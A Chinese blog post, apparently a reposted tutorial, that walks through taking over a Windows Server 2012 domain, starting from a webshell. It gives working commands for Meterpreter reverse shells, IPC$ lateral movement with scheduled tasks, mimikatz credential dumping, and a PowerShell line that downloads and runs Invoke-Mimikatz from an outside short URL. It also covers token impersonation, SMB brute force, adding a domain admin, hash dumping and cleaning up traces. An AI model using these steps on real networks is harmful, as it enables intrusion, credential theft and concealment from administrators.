标签:用户权限 管理所 uac 服务器权限 程序 选择 使用方法 表示 .exe
内网渗透测试资料基本上都是很多大牛的文章告诉我们思路如何,但是对于我等小菜一直是云里雾里。
于是使用什么样的工具才内网才能畅通无阻,成了大家一直以来的渴求。
今天小菜我本着所有师傅们无私分享的精神,特将三年内求师傅,求妹子,求神器所得,经过整理后,关键的知识点写出来。
相关知识点总结如下:
其实重点不在于知识的多少,大家只需关注比较重要的连接点。
分享为了方便大家以后在安全脉搏一起交流,一起学习,一起进步(一起Zhuangbility)。
首先 shell 是别人给我的,也不是这里介绍的重点,所以在此忽略。
渗透测试的环境详细如下:
其实每一次的渗透测试开始并不像我们想象的那么顺利,而这一次的开始也同样意味着
我们一次不同的旅程,整个的渗透测试过程我花了差不多四个小时的时间,大部分的时间都是花在解决这些问题之上。
1 webshell 无法上传 exe
本来想着直接上传 meterpreter 的 payload 的直接反弹的结果发现上传不了,可以选择 powershell 的 meterpreter 的模块来实现
2 meterpreter 的 reverse_tcp 模块反弹不成功
Msf 的 payload 的反弹,刚开始我使用的模块是 meterpreter 的 reverse_tcp 的模块来尝试,发现可以反弹,但是一直无法建立成功 meterpreter,
说明一定有监控发现了我们的行为。于是在此基础上尝试 meterpreter 的 reverse_https 模块,顺利反弹成功
详细遇到的问题和解决过程的图如下所示:
图 1-1 使用 payload
图 1-2 设置 https 的 payload
图 1-3 反弹成功
当我们首先拿到一个 (权限不足的)Webshell 的时候想到的第一件事是什么?那肯定是提权,我也想大家想的一样,首先开始了我们的提权之旅。
首先使用 msf 的 search 模块 ms15,会得到一些漏洞利用的模块。我尝试了 ms15_05 以及 ms15_078 全部以失败结束。
详细的图如下所示:
图 2-1 提权尝试失败
刚开始一直忘说了一件事,那就是 webshell 本身的权限,我们目前 webshell是 jsp 的,具有当前的一个普通域用户的权限。
我于是也想到了是不是可以通过bypassuac 来完成提权呢,但是测试的结果可想而知,又一次失败了。
目前详细的情况如下:
图 3-1 当前的用户权限
图 3-2 bypassuac 尝试
当我们此时提权不成功的情况下,我们还是可以利用当前的用户进行域渗透测试的。那
么目前我们具有以下几种方式进行渗透测试域:
1 收集域里面的相关信息,包括所有的用户,所有的电脑,以及相关关键的组的信息。
常使用到的命令如下:
net user /domain Net group "domain computers" /domain net group "domain admins" /domain #查看域管理员 net localgroup administrators net view /domain
2 收集 sqlserver 的相关信息,如果当前堡垒机使用了 sql server 的话,恰巧用户是当前的域用户的话,我们在此可以使用 sqlcmd 的信息收集,以及扫描攻击。
在这里只是提到,因为篇幅问题,暂时不做深一层讨论
根据我的渗透测试经验,我在此只是做了最简单的信息收集,首先使用 sqlcmd 的获取sql server 的所有机器列表、当前堡垒机的机器名、当前堡垒机的 IP、
还有 net view 来做简单的信息收集。
详细的图如下所示:
图 4-1 SQLCMD 获取信息
图 4-2 当前的机器名
图 4-3 net view 相关的机器名
当我们信息收集完成以后,我们要开始考虑接下来要做什么。
首先我们来看一下我们目前拥有什么:
目前我们的思路有:
通过上面的分析,此时我选择了最偷懒的一种方法,进行当前堡垒机的机器名和 net view 的机器名进行对比,找出来非常相似的几个机器名,手动测试。
当前速度也是非常快的,在尝试了两次的时候就成功了。
详细过程如下:
Net use \\ip\c$
Tasklist /v /s ip
图 5-1 net use 测试成功
图 5-2 tasklist 执行成功
首先在第四步已经说了域相关的信息收集,这里就不做过多的介绍了,这次是在第五步的基础上做的相关收集,相关知识点如下:
1 域信息收集,其中用到的命令如下:
Net group "domain admins" /domain Net group /domain Net group "domain controllers" /domain Net group "enterprise admins" /domain
2 ipc$入侵,大家相关的话自行百度经典 IPC$入侵
Net use \\ip\c$
Copy bat.bat \\ip\c$ (其中 bat.bat 是 powershell 的 meterpreter)
Net time \\ip
At \\ip time c:\bat.bat
3 上传抓明文工具 64.exe(mimikatz 神器),大家都懂的
Upload /home/64.exe c:\
Shell
Cd \
64.Exe
4 查看抓取到的用户的详细信息
Net use xxx /domain
5 使用 meterpreter 的 ps,查看相关用户的进程列表
6 尝试使用域令牌假冒
Use incongnito
list_token -u
Impersonate_token xxxxxx
我在这次渗透测试过程中尝试上面讲到的所有知识点,详细的截图如下:
图 6-1 查看域管
图 6-2 查看域组
图 6-3 查看域控制器
图 6-4 查看企业管理组
图 6-5 共享 copy 数据
图 6-6 经典 ipc$
图 6-7 反弹 meterpreter 成功
图 6-8 上传文件
图 6-9 查看服务器信息
图 6-10 抓取密码
图 6-11 查看域用户权限
图 6-12 查看域用户权限
图 6-13 窃取令牌尝试
图 6-14 查看主域控的 IP
此时此刻,作为读者你的在想什么呢?是不是当看到第六步的时候就可以去睡觉了,毕竟已经凌晨五点了。
但是此时此刻作为一个专业求师傅,求妹子,求神器的人可不这么想。
我们要做最后的冲刺,因为黎明的钟声已经敲响。
先来看一下我们当前拥有什么权限:
有两台堡垒机,两个用户权限
目前我们要做的事情很简单,就是快速的在内网扩大控制权限,那么如何去做,其实很简单的,就是快速的扫描以完成我们的梦想。
具体如下:
目前思路我们已经有了,神器 msf 终于迎来了自己梦想恶天堂。让我们愉快的玩耍吧。
详细知识点如下:
图 7-1 设置 smb_login 的参数
图 7-2 爆破成功的机器
图 7-3 查看已经获取到的权限
图 7-4 端口转发和目前拥有的权限
内网渗透测试不得不说到两大神器:msf 和 powershell,但是看大家基本上都是分开来使用的,或者说大家在一次渗透测试的过程中很少遇到,今天作为读者的你有福了。
首先来讲讲 powershell 的在内网渗透测试中不仅能扫,能爆,能转发,当然还能做更多的事情,
一般使用到的模块有下面三个:
来说说 powershell 的使用,其实也很简单,只是大家在用的过程中一般没有太多的注意,
主要有三种方式来调用:
1 当然是下载到本地执行,详细使用方法如后面连接:powershell "IEX (New-ObjectNet.WebClient).DownloadString(‘http://is.gd/oeoFuI‘); Invoke-Mimikatz -DumpCreds"
2 第二种方式是把 powershell 文件上传到堡垒机本地执行, powershell.exe -exec bypass -Command "& {Import-Module .\powerview.ps1; Invoke-UserHunter}"
3 上传到对方本地,然后 Import-Module 导入,使用PowerView 的所有模块使用其实很简单,直接调用方法,大家看看下面的图就知道了。
如果你能看到这里开始你的 powershell 之旅,内网将开始变得简单。
图 8-1 powerview 的相关方法
废话讲了这么多,下面开始我们的实战,其实很简单,我真的想说很简单,简单到一句话搞定。
Powerview 中的 Invoke-UserHunter 是获取当前域管理员在线登录的机器。
这次的旅程我们就用它来完成进一步的信息获取。详细如下图:
图 8-1 powershell 执行命令
图 8-2 powerview 的效果展示
在经过第八步之后,身为读者的你是不是感觉这次收获有一点点,内网域渗透测试再也不是那么一筹莫展了呢。
神器过后还是神器,又见它 windows server 2012,虽然域管理在线,但是我们的抓密码神器阳痿了,总不能修改注册表,等管理员再次登录吧。
目前来看看我们遇到的问题,通过 powershell 成功获取到相关的域控管理员在线的一台机器 windows server 2012,并且用这台机器的权限,那么接下来我们去搞定域控。
思路如下:
知道思路,那么接下来就开始我们愉快的旅程吧。我要求师傅,求妹子,求神器,专业求到域控去:
1 同样使用 ipc 经典入侵手法,反弹 meterpreter,
Getsysttem 权限
Ps 查看域管理所在的进程
Migrate pid 注入进程
2 继续经典的 IPC$到域控
Meterpreter 下面 shell
Net time \\域控 ip
At \\域控 ip time c:\bat.bat(意料之外的错误,提示 schtasks.exe,不熟){安全脉搏小编注:08及以上at命令就废弃啦,都用schtasks定时计划任务}
3 通往成功的路不只有一条,添加域管账户
Net user demo demo /ad /domain
Net group "domain admins" demo /ad /domain
到了此刻,我们已经拥有域管权限了。
详细的截图如下:
图 9-1 注入域管进程,连接域控
图 9-2 添加域管理账号
图 9-3 查看域管理是否成功
一看时间,凌晨七点了,早上的太阳要升起来了。此时此刻你的心情是怎么样呢。该晨起跑步了吧。东方的太阳就要升起了,域控的权限也终于到了了。
先讲思路,登录域控其实有很多方式的,下面我说一下我能知道的几种吧,相信大家也大家也都知道的:
反弹需要注意要用到的知识,我们这里采用的是 psesexc 来反弹 meterpreter,其中涉及到的知识如下:
详细的使用过程如下图:
图 10-1 psexec 执行测试
图 10-2 psexec 默认反弹不成功
图 10-3 meterpreter 的 https 模块反弹成功
图 10-4 域控的系统信息
有了域的权限之后,如果我们还想进行深层次的控制,那么 dumphash 是必不可少的。
首先来看看我们需要的知识:
在这里我采用的是 msf 的 smart_hashdump 的模块。在此需要注意的是要想使使用此模块导出 hash,必须要使用 system 的权限才行。
详细的过程如下图:
图 11-1 smart_hashdump 模块的使用
这里是整理一下之前用到的一些技术,和走过的一些弯路。文档到这差不多算是完成了
一个从 webshell 到域控的探索之路算是完成了,当然在这里我把过程中走的一些弯路还有不足点指出来,欢迎大家的指正,共同学习。
图 12-1 session 控制图
根据上面的图知道,我现在控制的 Session 一共有 5 个,其中有四个是必须要获取的,分别为 session1,session2 session4,session5。
其中 session1 为 webshell 反弹所获得,第二个session2 是信息分析获取到的,session4 为获取域管理员所获取,session5 为域。
其中 session3就是我所走过的弯路,浪费了时间。
之后我们必须为了更好更快速有效的完成渗透测试,平时努力练剑。尽力做到不出剑则已,出剑则见血。
作为一次比较成功的友情测试,我们必须要做到来无影,去无踪。所以收尾工作,也将悄悄展开。
涉及到相关的知识点:
在此过程中我们一共上传了两个文件,一个 bar.bat,一个 64 位的 mimikatz 抓密码工具,
直接删除即可。
图 13-1 删除用户
图 13-2 关闭所有的 session
总结说点什么好呢。还是先喊口号吧------“求妹子,求师傅,求神器”。
感谢三年多以来为我默默分享的师傅们,感谢妹子在我做这次友情测试的时候,她一直静静的陪在我这边,
感谢这些年求来的各种神器,没有这些资源的支持,我将不会完成这次的友情测试。
作为一名渗透测试爱好者,我们一直在努力的追求着心中那个美丽的梦想;
作为一名程序员,我们就是想简单的 coding。人生如此美好,大家何不联手,一起分享美好。
域渗透测试教程(windows server 2012)............................................................................................ 1
前言............................................................................................................................................. 2
第一步 反弹 meterpreter.......................................................................................................... 2
第二步 尝试提权 windows server 2012................................................................................... 4
第三步 尝试当前账号 Bypassuac 测试.................................................................................... 5
第四步 相关信息收集............................................................................................................... 6
第五步 信息分析,成功获取一台服务器权限...................................................................... 8
第六步 域信息收集................................................................................................................. 10
第七步 SMB 快速扩张控制权限............................................................................................ 16
第八步 Powershell 获取域控管理员在线的机器.................................................................... 18
第九步 域控管理员权限的获取(windows2012 权限).......................................................... 20
第十步 域控我来了(msf psexec 反弹 shell)........................................................................... 22
第十一步 Meterpreter 获取所有用户的 hash....................................................................... 24
第十二步 曲折的探索之路..................................................................................................... 25
第十三步 我轻轻的来了,我又轻轻的走了,管理员,再见(清理).................................. 26
总结........................................................................................................................................... 27
标签:用户权限 管理所 uac 服务器权限 程序 选择 使用方法 表示 .exe
原文地址:http://www.cnblogs.com/hookjoy/p/6579672.html